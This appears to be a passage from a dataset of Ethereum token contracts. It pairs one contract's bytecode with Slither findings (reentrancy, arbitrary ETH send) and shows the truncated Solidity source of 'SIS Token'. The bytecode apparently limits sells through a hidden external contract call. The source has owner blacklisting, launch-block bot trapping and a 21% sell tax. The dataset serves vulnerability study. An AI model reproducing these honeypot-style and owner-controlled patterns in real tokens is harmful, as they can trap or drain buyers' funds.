905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b638f0d18006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4744000000000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60048110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b60004790506706f05b59d3b200008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b638f0d1800611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b638f0d1800611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b638f0d1800611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075b5fdaeff48e114179cb0ed1ad6ba49811ccda2328dda6a2acd14a7547276a464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 312 |
0x20ef0a6c881dbf96800b48a1bab808ff1abf957d | /**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
/**
Sis Token
$SIS
$SIS was created by a team of women in the crypto space who’ve come together
to highlight the mental health issues women deal with and to celebrate the powerful women we are. It is a space for women in crypto to feel comfortable to discuss mental health and feel welcomed without judgment.
https://t.me/Sis_Token --- https://www.sistoken.gg/ --- https://twitter.com/SisToken_
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SISToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SIS Token";//
string private constant _symbol = "SIS";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 21;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x7EAC4658ba9955fc51186fDdaF9135941095Bb8E);//
address payable private _marketingAddress = payable(0xA954e4B22e8a6E1c28E7AB3b25ad1Cde1b9e1D29);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 4000000000 * 10**9; //
uint256 public _maxWalletSize = 10000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
